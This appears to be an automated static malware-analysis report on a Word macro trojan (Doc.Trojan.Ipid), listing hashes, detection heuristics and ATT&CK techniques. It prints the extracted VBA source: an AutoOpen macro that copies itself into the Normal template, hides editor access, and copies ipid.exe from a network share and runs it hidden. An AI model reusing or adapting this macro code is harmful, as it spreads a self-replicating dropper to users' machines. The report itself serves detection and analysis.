Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1ebac0a80570904…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-02-22 12:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1415f8d1c88215bdfe390085a12c98fc SHA-1: 57de172179769a4448e675b595eda7cfb41301e7 SHA-256: b1ebac0a805709040a327e6f7309387a99022298879e64f2ef160b8c74987adf
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This document contains VBA macros that are automatically executed upon opening, indicated by the AutoOpen macro. The critical heuristic firing for OLE_VBA_SHELL confirms that a shell command is being executed. The script attempts to run a file named 'ipid.exe' from a network share '\\esm-cpd\e$\ipid.exe', suggesting it acts as a dropper for a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Ipid-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ipid-4
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8143 bytes
SHA-256: 7ecbff210365c1a7938a780627b3bd6ad9caa9d5346696dda58d636ce4dee26c
Detection
ClamAV: Doc.Trojan.Ipid-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub autoopen()
On Error Resume Next 'normal.dot plc
w1 = Application.VBE.Windows.count
For i = 1 To w1
Application.VBE.Windows(i).Visible = True
Next
i = 0
For Each b In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = msoBarNoCustomize
Application.VBE.CommandBars(i).Enabled = True
Next
p1 = "\\esm-cpd\e$\ipid.exe"
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
Options.VirusProtection = True
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = True
i = 0
For Each b In CommandBars
i = i + 1
If (b.NameLocal = "Barra de menus") Or (b.NameLocal = "Padrão") Or (b.NameLocal = "Formatação") Then
CommandBars(i).Protection = msoBarNoCustomize
Else
CommandBars(i).Enabled = True
End If
Next
c1 = Documents.count
If c1 >= 1 Then
   e1 = ActiveDocument.VBProject.VBComponents.count
   If e1 >= 1 Then
      e2 = ActiveDocument.VBProject.VBComponents.Item(1).Name
      If e1 >= 2 Then
          e3 = ActiveDocument.VBProject.VBComponents.Item(2).Name
          c2 = MacroContainer
          If c2 = ActiveDocument.Name Then
             d1 = ActiveDocument.FullName
             d2 = ActiveDocument.AttachedTemplate.FullName
             d4 = "NewMacros"
             e5 = NormalTemplate.VBProject.VBComponents.count
             If e5 >= 1 Then
                  e6 = NormalTemplate.VBProject.VBComponents.Item(1).Name
                  If e5 >= 2 Then
                         e7 = NormalTemplate.VBProject.VBComponents.Item(2).Name
                         Application.OrganizerDelete d2, e7, wdOrganizerObjectProjectItems
                         d2 = ActiveDocument.AttachedTemplate.FullName
                         d4 = "NewMacros"
                         Application.OrganizerCopy d1, d2, d4, wdOrganizerObjectProjectItems
                         Application.NormalTemplate.Save
                         FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                         End
                   End If 'rodando no ativo sem modulo no nrmal
                         d2 = ActiveDocument.AttachedTemplate.FullName
                         d4 = "NewMacros"
                         Application.OrganizerCopy d1, d2, d4, wdOrganizerObjectProjectItems
                        Application.NormalTemplate.Save
                        FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                        End
              End If
           End If 'rodando no normal.dot
            d1 = ActiveDocument.FullName
            d2 = ActiveDocument.AttachedTemplate.FullName
            d4 = "NewMacros"
            Application.OrganizerDelete d1, e3, wdOrganizerObjectProjectItems
            Application.OrganizerCopy d2, d1, d4, wdOrganizerObjectProjectItems
            Application.NormalTemplate.Save
            FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
            End
       End If 'rodando no normal sem modulo no proj
          d1 = ActiveDocument.FullName
          d2 = ActiveDocument.AttachedTemplate.FullName
          d4 = "NewMacros"
          Application.OrganizerCopy d2, d1, d4, wdOrganizerObjectProjectItems
          Application.NormalTemplate.Save
          FileCopy p1, "c
... (truncated)